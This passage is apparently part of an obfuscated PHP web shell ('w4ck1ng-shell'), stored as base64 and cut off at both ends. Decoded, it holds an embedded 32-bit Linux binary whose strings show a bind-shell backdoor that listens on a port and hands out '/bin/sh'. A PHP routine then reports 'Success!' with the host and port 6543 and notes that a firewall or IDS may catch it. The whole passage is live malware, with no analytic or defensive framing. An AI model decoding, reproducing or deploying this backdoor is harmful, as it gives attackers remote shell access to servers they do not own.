UFBQUFBQWRRRUFBQklBQUFDZ0FBQUFBQUFBQUhFQUFBQVNBQUFBTkFBQUFBQUFBQURNQUFBQUVnQUFBR29BQUFBQUFBQUFXZ0FBQUJJQUFBQk1BQUFBQUFBQUFIZ0FBQUFTQUFBQVl3QUFBQUFBQUFBNUFBQUFFZ0FBQUZnQUFBQUFBQUFBT1FBQUFCSUFBQUNPQUFBQUFBQUFBT1lBQUFBU0FBQUFPd0FBQUFBQUFBQTZBQUFBRWdBQUFGTUFBQUFBQUFBQU9RQUFBQklBQUFCMUFBQUFBQUFBQUxrQUFBQVNBQUFBZWdBQUFBQUFBQUFyQUFBQUVnQUFBRWNBQUFBQUFBQUFlQUFBQUJJQUFBQnZBQUFBQUFBQUFBNEFBQUFTQUFBQWZ3QUFBRWlKQkFnRUFBQUFFUUFPQUVBQUFBQUFBQUFBT1FBQUFCSUFBQUFCQUFBQUFBQUFBQUFBQUFBZ0FBQUFGUUFBQUFBQUFBQUFBQUFBSUFBQUFBQmZTblpmVW1WbmFYTjBaWEpEYkdGemMyVnpBRjlmWjIxdmJsOXpkR0Z5ZEY5ZkFHeHBZbU11YzI4dU5nQmxlR1ZqYkFCd1pYSnliM0lBWkhWd01nQnpiMk5yWlhRQWMyVnVaQUJoWTJObGNIUUFZbWx1WkFCelpYUnpiMk5yYjNCMEFHeHBjM1JsYmdCbWIzSnJBR2gwYjI1ekFHVjRhWFFBWVhSdmFRQmZTVTlmYzNSa2FXNWZkWE5sWkFCZlgyeHBZbU5mYzNSaGNuUmZiV0ZwYmdCamJHOXpaUUJIVEVsQ1ExOHlMakFBQUFBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFRQUNBQUFBQUFBQUFBRUFBUUFrQUFBQUVBQUFBQUFBQUFBUWFXa05BQUFDQUtZQUFBQUFBQUFBaUpvRUNBWVNBQUNZbWdRSUJ3RUFBSnlhQkFnSEFnQUFvSm9FQ0FjREFBQ2ttZ1FJQndRQUFLaWFCQWdIQlFBQXJKb0VDQWNHQUFDd21nUUlCd2NBQUxTYUJBZ0hDQUFBdUpvRUNBY0pBQUM4bWdRSUJ3b0FBTUNhQkFnSEN3QUF4Sm9FQ0FjTUFBREltZ1FJQncwQUFNeWFCQWdIRGdBQTBKb0VDQWNRQUFCVmllV0Q3QWpvTVFFQUFPaURBUUFBNkZzRUFBREp3d0QvTlpDYUJBai9KWlNhQkFnQUFBQUEveVdZbWdRSWFBQUFBQURwNFAvLy8vOGxuSm9FQ0dnSUFBQUE2ZEQvLy8vL0phQ2FCQWhvRUFBQUFPbkEvLy8vL3lXa21nUUlhQmdBQUFEcHNQLy8vLzhscUpvRUNHZ2dBQUFBNmFELy8vLy9KYXlhQkFob0tBQUFBT21RLy8vLy95V3dtZ1FJYURBQUFBRHBnUC8vLy84bHRKb0VDR2c0QUFBQTZYRC8vLy8vSmJpYUJBaG9RQUFBQU9sZy8vLy8veVc4bWdRSWFFZ0FBQURwVVAvLy8vOGx3Sm9FQ0doUUFBQUE2VUQvLy8vL0pjU2FCQWhvV0FBQUFPa3cvLy8vL3lYSW1nUUlhR0FBQUFEcElQLy8vLzhsekpvRUNHaG9BQUFBNlJELy8vLy9KZENhQkFob2NBQUFBT2tBLy8vL01lMWVpZUdENVBCUVZGSm9yWWdFQ0doY2lBUUlVVlpvUUlZRUNPaGYvLy8vOUpDUVZZbmxVK2diQUFBQWdjTy9GQUFBZyt3RWk0UDgvLy8vaGNCMEF2L1FnOFFFVzEzRGl4d2t3MVdKNVlQc0NJQTk0Sm9FQ0FCMERPc2NnOEFFbzl5YUJBai8wcUhjbWdRSWl4Q0YwblhyeGdYZ21nUUlBY25EVllubGcrd0lvYnlaQkFpRndIUVN1QUFBQUFDRndIUUp4d1FrdkprRUNQL1F5Y09Ra0ZXSjVWZUQ3R1NENVBDNEFBQUFBSVBBRDRQQUQ4SG9CTUhnQkNuRXgwWGtBUUFBQU1kRitFeUpCQWpIUkNRSUFBQUFBTWRFSkFRQkFBQUF4d1FrQWdBQUFPZ0ovLy8vaVVYd2czM3dBSGtZeHdRa2pJa0VDT2cwL3YvL3h3UWtBUUFBQU9pby92Ly9ac2RGMUFJQXgwWFlBQUFBQUl0RkRJUEFCSXNBaVFRazZKdisvLzhQdDhDSkJDVG9zUDcvLzJhSlJkYkhSQ1FRQkFBQUFJMUY1SWxFSkF6SFJDUUlBZ0FBQU1kRUpBUUJBQUFBaTBYd2lRUWs2QkwrLy8rTlJkVEhSQ1FJRUFBQUFJbEVKQVNMUmZDSkJDVG9LUDcvLzRYQWVSakhCQ1NUaVFRSTZLajkvLy9IQkNRQkFBQUE2QnorLy8vSFJDUUVDQUFBQUl0RjhJa0VKT2k1L2YvL2hjQjVHTWNFSkppSkJBam9lZjMvLzhjRUpBRUFBQURvN2YzLy84ZEY2QkFBQUFDTlJlaU5WY1NKUkNRSWlWUWtCSXRGOElrRUpPaHQvZi8vaVVYMGczMzBBSGtNeHdRa2pJa0VDT2c0L2YvLzZFUDkvLytGd0ErRXB3QUFBSXRGK0xuLy8vLy9pVVc0dUFBQUFBRDhpMzI0OHE2SnlQZlFnK2dCeDBRa0RBQUFBQUNKUkNRSWkwWDRpVVFrQkl0RjlJa0VKT2lRL2YvL3gwUWtCQUFBQUFDTFJmU0pCQ1RvUGYzLy84ZEVKQVFCQUFBQWkwWDBpUVFrNkNyOS8vL0hSQ1FFQWdBQUFJdEY5SWtFSk9nWC9mLy94MFFrQ0FBQUFBREhSQ1FFbjRrRUNNY0VKSitKQkFqb2Uvei8vNHRGOElrRUpPaUEvUC8veHdRa0FBQUFBT2dFL2YvL2kwWDBpUVFrNkduOC8vL3BEdi8vLzFXSjVWZFdNZlpUNkgvOS8vK0J3eU1TQUFDRDdBem9FZnovLzQyRElQLy8vNDJUSVAvLy80bEY4Q25Rd2ZnQ09jWnpGb25YL3hTeWkwWHdnOFlCS2ZpSitzSDRBam5HY3V5RHhBeGJYbDlkdzFXSjVZUHNHSWxkOU9ndC9mLy9nY1BSRVFBQWlYWDRpWDM4amJNZy8vLy9qYnNnLy8vL0tmN0IvZ0xyQS84VXQ0UHVBWVArLzNYMTZEb0FBQUNMWGZTTGRmaUxmZnlKN0YzRGtGV0o1Vk9EN0FTaHJKa0VDSVA0LzNRU3U2eVpCQWovMEl0RC9JUHJCSVA0LzNYemc4UUVXMTNEa0pDUVZZbmxVK2k3L1AvL2djTmZFUUFBZyt3RTZMSDgvLytEeEFSYlhjTUFBQUFEQUFBQUFRQUNBRG82SUhjMFkyc3hibWN0YzJobGJHd2dLRkJ5YVhaaGRHVWdRblZwYkdRZ2RqQXVNeWtnWW1sdVpDQnphR1ZzYkNCaVlXTnJaRzl2Y2lBNk9pQUtDZ0J6YjJOclpYUUFZbWx1WkFCc2FYTjBaVzRBTDJKcGJpOXphQUFBQUFBQUFQLy8vLzhBQUFBQS8vLy8vd0FBQUFBQUFBQUFBUUFBQUNRQUFBQU1BQUFBaUlRRUNBMEFBQUFraVFRSUJBQUFBRWlCQkFnRkFBQUFFSU1FQ0FZQUFBRGdnUVFJQ2dBQUFMQUFBQUFMQUFBQUVBQUFBQlVBQUFBQUFBQUFBd0FBQUl5YUJBZ0NBQUFBZUFBQUFCUUFBQUFSQUFBQUZ3QUFBQkNFQkFnUkFBQUFDSVFFQ0JJQUFBQUlBQUFBRXdBQUFBZ0FBQUQrLy85djZJTUVDUC8vLzI4QkFBQUE4UC8vYjhDREJBZ0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQXdKa0VDQUFBQUFBQUFBQUF0b1FFQ01hRUJBaldoQVFJNW9RRUNQYUVCQWdHaFFRSUZvVUVDQ2FGQkFnMmhRUUlSb1VFQ0ZhRkJBaG1oUVFJZG9VRUNJYUZCQWlXaFFRSUFBQUFBQUFBQUFDNG1RUUlBRWREUXpvZ0tFZE9WU2tnTXk0MExqWWdLRlZpZFc1MGRTQXpMalF1TmkweGRXSjFiblIxTWlrQUFFZERRem9nS0VkT1ZTa2dNeTQwTGpZZ0tGVmlkVzUwZFNBekxqUXVOaTB4ZFdKMWJuUjFNaWtBQUVkRFF6b2dLRWRPVlNrZ05DNHdMak1nS0ZWaWRXNTBkU0EwTGpBdU15MHhkV0oxYm5SMU5Ta0FBRWREUXpvZ0tFZE9WU2tnTkM0d0xqTWdLRlZpZFc1MGRTQTBMakF1TXkweGRXSjFiblIxTlNrQUFFZERRem9nS0VkT1ZTa2dNeTQwTGpZZ0tGVmlkVzUwZFNBekxqUXVOaTB4ZFdKMWJuUjFNaWtBQUVkRFF6b2dLRWRPVlNrZ05DNHdMak1nS0ZWaWRXNTBkU0EwTGpBdU15MHhkV0oxYm5SMU5Ta0FBRWREUXpvZ0tFZE9WU2tnTXk0MExqWWdLRlZpZFc1MGRTQXpMalF1TmkweGRXSjFiblIxTWlrQUFBQWNBQUFBQWdBQUFBQUFCQUFBQUFBQW9JVUVDQ0lBQUFBQUFBQUFBQUFBQURRQUFBQUNBQXNCQUFBRUFBQUFBQURvaFFRSUJBQUFBQ1NKQkFnU0FBQUFpSVFFQ0FzQUFBREVoUVFJSkFBQUFBQUFBQUFBQUFBQUxBQUFBQUlBbXdFQUFBUUFBQUFBQU9pRkJBZ0VBQUFBTzRrRUNBWUFBQUNkaEFRSUFnQUFBQUFBQUFBQUFBQUFJUUFBQUFJQWVnQUFBSkVBQUFCNUFBQUFYMGxQWDNOMFpHbHVYM1Z6WldRQUFBQUFBSFlBQUFBQ0FBQUFBQUFFQVFBQUFBQ2doUVFJd29VRUNDNHVMM041YzJSbGNITXZhVE00Tmk5bGJHWXZjM1JoY25RdVV3QXZZblZwYkdRdlluVnBiR1JrTDJkc2FXSmpMVEl1TXk0MkwySjFhV3hrTFhSeVpXVXZaMnhwWW1NdE1pNHpMall2WTNOMUFFZE9WU0JCVXlBeUxqRTJMamt4QUFHQWpRQUFBQUlBRkFBQUFBUUJXd0FBQU1TRkJBakVoUVFJWWdBQUFBRUFBQUFBRVFBQUFBS1FBQUFBQkFjQ1ZBQUFBQUVJQXAwQUFBQUNCd0tMQUFBQUJBY0NWZ0FBQUFFR0FnY0FBQUFDQlFOcGJuUUFCQVVDUmdBQUFBZ0ZBb1lBQUFBSUJ3SkxBQUFBQkFVQ2tBQUFBQVFIQWwwQUFBQUJCZ1N3QUFBQUFSbUxBQUFBQVFVRFNJa0VDQVZQQUFBQUFJd0FBQUFDQUZZQUFBQUVBWUlBQUFBdlluVnBiR1F2WW5WcGJHUmtMMmRzYVdKakxUSXVNeTQyTDJKMWFXeGtMWFJ5WldVdmFUTTROaTFzYVdKakwyTnpkUzlqY25ScExsTUFMMkoxYVd4a0wySjFhV3hrWkM5bmJHbGlZeTB5TGpNdU5pOWlkV2xzWkMxMGNtVmxMMmRzYVdKakxUSXVNeTQyTDJOemRRQkhUbFVnUVZNZ01pNHhOaTQ1TVFBQmdJd0FBQUFDQUdZQUFBQUVBUzhCQUFBdlluVnBiR1F2WW5WcGJHUmtMMmRzYVdKakxUSXVNeTQyTDJKMWFXeGtMWFJ5WldVdmFUTTROaTFzYVdKakwyTnpkUzlqY25SdUxsTUFMMkoxYVd4a0wySjFhV3hrWkM5bmJHbGlZeTB5TGpNdU5pOWlkV2xzWkMxMGNtVmxMMmRzYVdKakxUSXVNeTQyTDJOemRRQkhUbFVnUVZNZ01pNHhOaTQ1TVFBQmdBRVJBQkFHRVFFU0FRTUlHd2dsQ0JNRkFBQUFBUkVCRUFZU0FSRUJKUTRUQ3dNT0d3NEFBQUlrQUFNT0N3cytDd0FBQXlRQUF3Z0xDejRMQUFBRU5BQUREam9MT3d0SkV6OE1BZ29BQUFVbUFFa1RBQUFBQVJFQUVBWURDQnNJSlFnVEJRQUFBQUVSQUJBR0F3Z2JDQ1VJRXdVQUFBQlhBQUFBQWdBeUFBQUFBUUg3RGcwQUFRRUJBUUFBQUFFQUFBRXVMaTl6ZVhOa1pYQnpMMmt6T0RZdlpXeG1BQUJ6ZEdGeWRDNVRBQUVBQUFBQUJRS2doUVFJQThBQUFUTWhORDBsSWdNWUlGbGFJU0pjV3dJQkFBRUJJd0FBQUFJQUhRQUFBQUVCK3c0TkFBRUJBUUVBQUFBQkFBQUJBR2x1YVhRdVl3QUFBQUFBcVFBQUFBSUFVQUFBQUFFQit3NE5BQUVCQVFFQUFBQUJBQUFCTDJKMWFXeGtMMkoxYVd4a1pDOW5iR2xpWXkweUxqTXVOaTlpZFdsc1pDMTBjbVZsTDJrek9EWXRiR2xpWXk5amMzVUFBR055ZEdrdVV3QUJBQUFBQUFVQzZJVUVDQVBBQUFFOUFnRUFBUUVBQlFJa2lRUUlBeTRCSVM4aFdXY0NBd0FCQVFBRkFvaUVCQWdESHdFaEx6MENCUUFCQVFBRkFzU0ZCQWdEQ2dFaEx5RlpaejFuTHk4d1BTRWhBZ0VBQVFHSUFBQUFBZ0JRQUFBQUFRSDdEZzBBQVFFQkFRQUFBQUVBQUFFdlluVnBiR1F2WW5WcGJHUmtMMmRzYVdKakxUSXVNeTQyTDJKMWFXeGtMWFJ5WldVdmFUTTROaTFzYVdKakwyTnpkUUFBWTNKMGJpNVRBQUVBQUFBQUJRTG9oUVFJQXlFQlBRSUJBQUVCQUFVQ080a0VDQU1TQVQwaElRSUJBQUVCQUFVQ25ZUUVDQU1KQVNFQ0FRQUJBV2x1YVhRdVl3QnphRzl5ZENCcGJuUUFMMkoxYVd4a0wySjFhV3hrWkM5bmJHbGlZeTB5TGpNdU5pOWlkV2xzWkMxMGNtVmxMMmRzYVdKakxUSXVNeTQyTDJOemRRQnNiMjVuSUd4dmJtY2dhVzUwQUhWdWMybG5ibVZrSUdOb1lYSUFSMDVWSUVNZ015NDBMallnS0ZWaWRXNTBkU0F6TGpRdU5pMHhkV0oxYm5SMU1pa0FiRzl1WnlCc2IyNW5JSFZ1YzJsbmJtVmtJR2x1ZEFCemFHOXlkQ0IxYm5OcFoyNWxaQ0JwYm5RQVgwbFBYM04wWkdsdVgzVnpaV1FBQUM1emVXMTBZV0lBTG5OMGNuUmhZZ0F1YzJoemRISjBZV0lBTG1sdWRHVnljQUF1Ym05MFpTNUJRa2t0ZEdGbkFDNW9ZWE5vQUM1a2VXNXplVzBBTG1SNWJuTjBjZ0F1WjI1MUxuWmxjbk5wYjI0QUxtZHVkUzUyWlhKemFXOXVYM0lBTG5KbGJDNWtlVzRBTG5KbGJDNXdiSFFBTG1sdWFYUUFMblJsZUhRQUxtWnBibWtBTG5KdlpHRjBZUUF1WldoZlpuSmhiV1VBTG1OMGIzSnpBQzVrZEc5eWN3QXVhbU55QUM1a2VXNWhiV2xqQUM1bmIzUUFMbWR2ZEM1d2JIUUFMbVJoZEdFQUxtSnpjd0F1WTI5dGJXVnVkQUF1WkdWaWRXZGZZWEpoYm1kbGN3QXVaR1ZpZFdkZmNIVmlibUZ0WlhNQUxtUmxZblZuWDJsdVptOEFMbVJsWW5WblgyRmlZbkpsZGdBdVpHVmlkV2RmYkdsdVpRQXVaR1ZpZFdkZmMzUnlBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUd3QUFBQUVBQUFBQ0FBQUFGSUVFQ0JRQkFBQVRBQUFBQUFBQUFBQUFBQUFCQUFBQUFBQUFBQ01BQUFBSEFBQUFBZ0FBQUNpQkJBZ29BUUFBSUFBQUFBQUFBQUFBQUFBQUJBQUFBQUFBQUFBeEFBQUFCUUFBQUFJQUFBQklnUVFJU0FFQUFKZ0FBQUFFQUFBQUFBQUFBQVFBQUFBRUFBQUFOd0FBQUFzQUFBQUNBQUFBNElFRUNPQUJBQUF3QVFBQUJRQUFBQUVBQUFBRUFBQUFFQUFBQUQ4QUFBQURBQUFBQWdBQUFCQ0RCQWdRQXdBQXNBQUFBQUFBQUFBQUFBQUFBUUFBQUFBQUFBQkhBQUFBLy8vL2J3SUFBQURBZ3dRSXdBTUFBQ1lBQUFBRUFBQUFBQUFBQUFJQUFBQUNBQUFBVkFBQUFQNy8vMjhDQUFBQTZJTUVDT2dEQUFBZ0FBQUFCUUFBQUFFQUFBQUVBQUFBQUFBQUFHTUFBQUFKQUFBQUFnQUFBQWlFQkFnSUJBQUFDQUFBQUFRQUFBQUFBQUFBQkFBQUFBZ0FBQUJzQUFBQUNRQUFBQUlBQUFBUWhBUUlFQVFBQUhnQUFBQUVBQUFBQ3dBQUFBUUFBQUFJQUFBQWRRQUFBQUVBQUFBR0FBQUFpSVFFQ0lnRUFBQVhBQUFBQUFBQUFBQUFBQUFCQUFBQUFBQUFBSEFBQUFBQkFBQUFCZ0FBQUtDRUJBaWdCQUFBQUFFQUFBQUFBQUFBQUFBQUJBQUFBQVFBQUFCN0FBQUFBUUFBQUFZQUFBQ2doUVFJb0FVQUFJUURBQUFBQUFBQUFBQUFBQVFBQUFBQUFBQUFnUUFBQUFFQUFBQUdBQUFBSklrRUNDUUpBQUFkQUFBQUFBQUFBQUFBQUFBQkFBQUFBQUFBQUljQUFBQUJBQUFBQWdBQUFFU0pCQWhFQ1FBQVl3QUFBQUFBQUFBQUFBQUFCQUFBQUFBQUFBQ1BBQUFBQVFBQUFBSUFBQUNvaVFRSXFBa0FBQVFBQUFBQUFBQUFBQUFBQUFRQUFBQUFBQUFBbVFBQUFBRUFBQUFEQUFBQXJKa0VDS3dKQUFBSUFBQUFBQUFBQUFBQUFBQUVBQUFBQUFBQUFLQUFBQUFCQUFBQUF3QUFBTFNaQkFpMENRQUFDQUFBQUFBQUFBQUFBQUFBQkFBQUFBQUFBQUNuQUFBQUFRQUFBQU1BQUFDOG1RUUl2QWtBQUFRQUFBQUFBQUFBQUFBQUFBUUFBQUFBQUFBQXJBQUFBQVlBQUFBREFBQUF3SmtFQ01BSkFBRElBQUFBQlFBQUFBQUFBQUFFQUFBQUNBQUFBTFVBQUFBQkFBQUFBd0FBQUlpYUJBaUlDZ0FBQkFBQUFBQUFBQUFBQUFBQUJBQUFBQVFBQUFDNkFBQUFBUUFBQUFNQUFBQ01tZ1FJakFvQUFFZ0FBQUFBQUFBQUFBQUFBQVFBQUFBRUFBQUF3d0FBQUFFQUFBQURBQUFBMUpvRUNOUUtBQUFNQUFBQUFBQUFBQUFBQUFBRUFBQUFBQUFBQU1rQUFBQUlBQUFBQXdBQUFPQ2FCQWpnQ2dBQUJBQUFBQUFBQUFBQUFBQUFCQUFBQUFBQUFBRE9BQUFBQVFBQUFBQUFBQUFBQUFBQTRBb0FBQ1lCQUFBQUFBQUFBQUFBQUFFQUFBQUFBQUFBMXdBQUFBRUFBQUFBQUFBQUFBQUFBQWdNQUFDSUFBQUFBQUFBQUFBQUFBQUlBQUFBQUFBQUFPWUFBQUFCQUFBQUFBQUFBQUFBQUFDUURBQUFKUUFBQUFBQUFBQUFBQUFBQVFBQUFBQUFBQUQyQUFBQUFRQUFBQUFBQUFBQUFBQUF0UXdBQUNzQ0FBQUFBQUFBQUFBQUFBRUFBQUFBQUFBQUFnRUFBQUVBQUFBQUFBQUFBQUFBQU9BT0FBQjJBQUFBQUFBQUFBQUFBQUFCQUFBQUFBQUFBQkFCQUFBQkFBQUFBQUFBQUFBQUFBQldEd0FBdXdFQUFBQUFBQUFBQUFBQUFRQUFBQUFBQUFBY0FRQUFBUUFBQURBQUFBQUFBQUFBRVJFQUFMOEFBQUFBQUFBQUFBQUFBQUVBQUFBQkFBQUFFUUFBQUFNQUFBQUFBQUFBQUFBQUFOQVJBQUFuQVFBQUFBQUFBQUFBQUFBQkFBQUFBQUFBQUFFQUFBQUNBQUFBQUFBQUFBQUFBQUJJR0FBQThBVUFBQ0VBQUFBL0FBQUFCQUFBQUJBQUFBQUpBQUFBQXdBQUFBQUFBQUFBQUFBQU9CNEFBTElEQUFBQUFBQUFBQUFBQUFFQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBVWdRUUlBQUFBQUFNQUFRQUFBQUFBS0lFRUNBQUFBQUFEQUFJQUFBQUFBRWlCQkFnQUFBQUFBd0FEQUFBQUFBRGdnUVFJQUFBQUFBTUFCQUFBQUFBQUVJTUVDQUFBQUFBREFBVUFBQUFBQU1DREJBZ0FBQUFBQXdBR0FBQUFBQURvZ3dRSUFBQUFBQU1BQndBQUFBQUFDSVFFQ0FBQUFBQURBQWdBQUFBQUFCQ0VCQWdBQUFBQUF3QUpBQUFBQUFDSWhBUUlBQUFBQUFNQUNnQUFBQUFBb0lRRUNBQUFBQUFEQUFzQUFBQUFBS0NGQkFnQUFBQUFBd0FNQUFBQUFBQWtpUVFJQUFBQUFBTUFEUUFBQUFBQVJJa0VDQUFBQUFBREFBNEFBQUFBQUtpSkJBZ0FBQUFBQXdBUEFBQUFBQUNzbVFRSUFBQUFBQU1BRUFBQUFBQUF0SmtFQ0FBQUFBQURBQkVBQUFBQUFMeVpCQWdBQUFBQUF3QVNBQUFBQUFEQW1RUUlBQUFBQUFNQUV3QUFBQUFBaUpvRUNBQUFBQUFEQUJRQUFBQUFBSXlhQkFnQUFBQUFBd0FWQUFBQUFBRFVtZ1FJQUFBQUFBTUFGZ0FBQUFBQTRKb0VDQUFBQUFBREFCY0FBQUFBQUFBQUFBQUFBQUFBQXdBWUFBQUFBQUFBQUFBQUFBQUFBQU1BR1FBQUFBQUFBQUFBQUFBQUFBQURBQm9BQUFBQUFBQUFBQUFBQUFBQUF3QWJBQUFBQUFBQUFBQUFBQUFBQUFNQUhBQUFBQUFBQUFBQUFBQUFBQUFEQUIwQUFBQUFBQUFBQUFBQUFBQUFBd0FlQUFBQUFBQUFBQUFBQUFBQUFBTUFId0FBQUFBQUFBQUFBQUFBQUFBREFDQUFBQUFBQUFBQUFBQUFBQUFBQXdBaEFBRUFBQUFBQUFBQUFBQUFBQVFBOGY4TUFBQUFBQUFBQUFBQUFBQUVBUEgvS0FBQUFBQUFBQUFBQUFBQUJBRHgveThBQUFBQUFBQUFBQUFBQUFRQThmODZBQUFBQUFBQUFBQUFBQUFFQVBIL2RBQUFBTVNGQkFnQUFBQUFBZ0FNQUlRQUFBQUFBQUFBQUFBQUFBUUE4ZitQQUFBQXJKa0VDQUFBQUFBQkFCQUFuUUFBQUxTWkJBZ0FBQUFBQVFBUkFLc0FBQUM4bVFRSUFBQUFBQUVBRWdDNEFBQUE0Sm9FQ0FFQUFBQUJBQmNBeHdBQUFOeWFCQWdBQUFBQUFRQVdBTTRBQUFEc2hRUUlBQUFBQUFJQURBRGtBQUFBRzRZRUNBQUFBQUFDQUF3QWhBQUFBQUFBQUFBQUFBQUFCQUR4Ly9BQUFBQ3dtUVFJQUFBQUFBRUFFQUQ5QUFBQXVKa0VDQUFBQUFBQkFCRUFDZ0VBQUtpSkJBZ0FBQUFBQVFBUEFCZ0JBQUM4bVFRSUFBQUFBQUVBRWdBa0FRQUErSWdFQ0FBQUFBQUNBQXdBTHdBQUFBQUFBQUFBQUFBQUJBRHgvem9CQUFBQUFBQUFBQUFBQUFRQThmOTBBUUFBQUFBQUFBQUFBQUFFQVBIL2VBRUFBTUNaQkFnQUFBQUFBUUlUQUlFQkFBQ3NtUVFJQUFBQUFBQUM4ZitTQVFBQXJKa0VDQUFBQUFBQUF2SC9wUUVBQUt5WkJBZ0FBQUFBQUFMeC83WUJBQUNNbWdRSUFBQUFBQUVDRlFETUFRQUFySmtFQ0FBQUFBQUFBdkgvM3dFQUFBQUFBQUIxQVFBQUVnQUFBUEFCQUFBQUFBQUFjUUFBQUJJQUFBQUJBZ0FBUklrRUNBUUFBQUFSQUE0QUNBSUFBQUFBQUFETUFBQUFFZ0FBQUJvQ0FBQUFBQUFBV2dBQUFCSUFBQUFxQWdBQTJKb0VDQUFBQUFBUkFoWUFOd0lBQUsySUJBaEtBQUFBRWdBTUFFY0NBQUFBQUFBQWVBQUFBQklBQUFCWkFnQUFpSVFFQ0FBQUFBQVNBQW9BWHdJQUFBQUFBQUE1QUFBQUVnQUFBSEVDQUFBQUFBQUFPUUFBQUJJQUFBQ0hBZ0FBb0lVRUNBQUFBQUFTQUF3QWpnSUFBRnlJQkFoUkFBQUFFZ0FNQUo0Q0FBRGdtZ1FJQUFBQUFCQUE4ZitxQWdBQVFJWUVDQndDQUFBU0FBd0Fyd0lBQUFBQUFBRG1BQUFBRWdBQUFNd0NBQUFBQUFBQU9nQUFBQklBQUFEY0FnQUExSm9FQ0FBQUFBQWdBQllBNXdJQUFBQUFBQUE1QUFBQUVnQUFBUGNDQUFBa2lRUUlBQUFBQUJJQURRRDlBZ0FBQUFBQUFMa0FBQUFTQUFBQURRTUFBQUFBQUFBckFBQUFFZ0FBQUIwREFBRGdtZ1FJQUFBQUFCQUE4ZjhrQXdBQTZJVUVDQUFBQUFBU0Fnd0FPd01BQU9TYUJBZ0FBQUFBRUFEeC8wQURBQUFBQUFBQWVBQUFBQklBQUFCUUF3QUFBQUFBQUE0QUFBQVNBQUFBWVFNQUFFaUpCQWdFQUFBQUVRQU9BSEFEQUFEVW1nUUlBQUFBQUJBQUZnQjlBd0FBQUFBQUFEa0FBQUFTQUFBQWp3TUFBQUFBQUFBQUFBQUFJQUFBQUtNREFBQUFBQUFBQUFBQUFDQUFBQUFBWVdKcExXNXZkR1V1VXdBdUxpOXplWE5rWlhCekwya3pPRFl2Wld4bUwzTjBZWEowTGxNQWFXNXBkQzVqQUdsdWFYUm1hVzVwTG1NQUwySjFhV3hrTDJKMWFXeGtaQzluYkdsaVl5MHlMak11Tmk5aWRXbHNaQzEwY21WbEwya3pPRFl0YkdsaVl5OWpjM1V2WTNKMGFTNVRBR05oYkd4ZloyMXZibDl6ZEdGeWRBQmpjblJ6ZEhWbVppNWpBRjlmUTFSUFVsOU1TVk5VWDE4QVgxOUVWRTlTWDB4SlUxUmZYd0JmWDBwRFVsOU1TVk5VWDE4QVkyOXRjR3hsZEdWa0xqUTBOak1BY0M0ME5EWXlBRjlmWkc5ZloyeHZZbUZzWDJSMGIzSnpYMkYxZUFCbWNtRnRaVjlrZFcxdGVRQmZYME5VVDFKZlJVNUVYMThBWDE5RVZFOVNYMFZPUkY5ZkFGOWZSbEpCVFVWZlJVNUVYMThBWDE5S1ExSmZSVTVFWDE4QVgxOWtiMTluYkc5aVlXeGZZM1J2Y25OZllYVjRBQzlpZFdsc1pDOWlkV2xzWkdRdloyeHBZbU10TWk0ekxqWXZZblZwYkdRdGRISmxaUzlwTXpnMkxXeHBZbU12WTNOMUwyTnlkRzR1VXdBeExtTUFYMFJaVGtGTlNVTUFYMTltYVc1cFgyRnljbUY1WDJWdVpBQmZYMlpwYm1sZllYSnlZWGxmYzNSaGNuUUFYMTlwYm1sMFgyRnljbUY1WDJWdVpBQmZSMHhQUWtGTVgwOUdSbE5GVkY5VVFVSk1SVjhBWDE5cGJtbDBYMkZ5Y21GNVgzTjBZWEowQUdWNFpXTnNRRUJIVEVsQ1ExOHlMakFBWTJ4dmMyVkFRRWRNU1VKRFh6SXVNQUJmWm5CZmFIY0FjR1Z5Y205eVFFQkhURWxDUTE4eUxqQUFabTl5YTBCQVIweEpRa05mTWk0d0FGOWZaSE52WDJoaGJtUnNaUUJmWDJ4cFltTmZZM04xWDJacGJta0FZV05qWlhCMFFFQkhURWxDUTE4eUxqQUFYMmx1YVhRQWJHbHpkR1Z1UUVCSFRFbENRMTh5TGpBQWMyVjBjMjlqYTI5d2RFQkFSMHhKUWtOZk1pNHdBRjl6ZEdGeWRBQmZYMnhwWW1OZlkzTjFYMmx1YVhRQVgxOWljM05mYzNSaGNuUUFiV0ZwYmdCZlgyeHBZbU5mYzNSaGNuUmZiV0ZwYmtCQVIweEpRa05mTWk0d0FHUjFjREpBUUVkTVNVSkRYekl1TUFCa1lYUmhYM04wWVhKMEFHSnBibVJBUUVkTVNVSkRYekl1TUFCZlptbHVhUUJsZUdsMFFFQkhURWxDUTE4eUxqQUFZWFJ2YVVCQVIweEpRa05mTWk0d0FGOWxaR0YwWVFCZlgyazJPRFl1WjJWMFgzQmpYM1JvZFc1ckxtSjRBRjlsYm1RQWMyVnVaRUJBUjB4SlFrTmZNaTR3QUdoMGIyNXpRRUJIVEVsQ1ExOHlMakFBWDBsUFgzTjBaR2x1WDNWelpXUUFYMTlrWVhSaFgzTjBZWEowQUhOdlkydGxkRUJBUjB4SlFrTmZNaTR3QUY5S2RsOVNaV2RwYzNSbGNrTnNZWE56WlhNQVgxOW5iVzl1WDNOMFlYSjBYMThBIjsKCmZ1bmN0aW9uIGNoZWNrcHJveHlob3N0KCl7CiRob3N0ID0gZ2V0ZW52KCJIVFRQX0hPU1QiKTsKJGZpbGVuYW1lID0gJy90bXAvLnNldGFuL3hoJzsKaWYgKGZpbGVfZXhpc3RzKCRmaWxlbmFtZSkpIHsKJF9QT1NUWydwcm94eWhvc3Rtc2cnXT0iPC9icj48L2JyPjxjZW50ZXI+PGZvbnQgY29sb3I9Z3JlZW4gc2l6ZT0zPjxiPlN1Y2Nlc3MhPC9iPjwvZm9udD48L2JyPjwvYnI+PGEgaHJlZj0kaG9zdDo2NTQzPiRob3N0OjY1NDM8L2E+PC9icj48L2JyPjxiPk5vdGU6PC9iPiBJZiAnJGhvc3QnIGhhdmUgYSBnb29kIGZpcmV3YWxsIG9yIElEUyAgaW5zdGFsbGVkIG9uIHRoZWlyIHNlcnZlciwgaXQgd2lsbCBwcm9iYWJseSBjYXRjaCB0aGlzIG9yIHN0b3AgaXQgZnJvbSBldmVyIG9wZW5pbmcgYSBwb3J0IGFuZCB5b3Ugd29uJ3QgYmUgYWJsZSB0byBjb25uZWN0IHRvI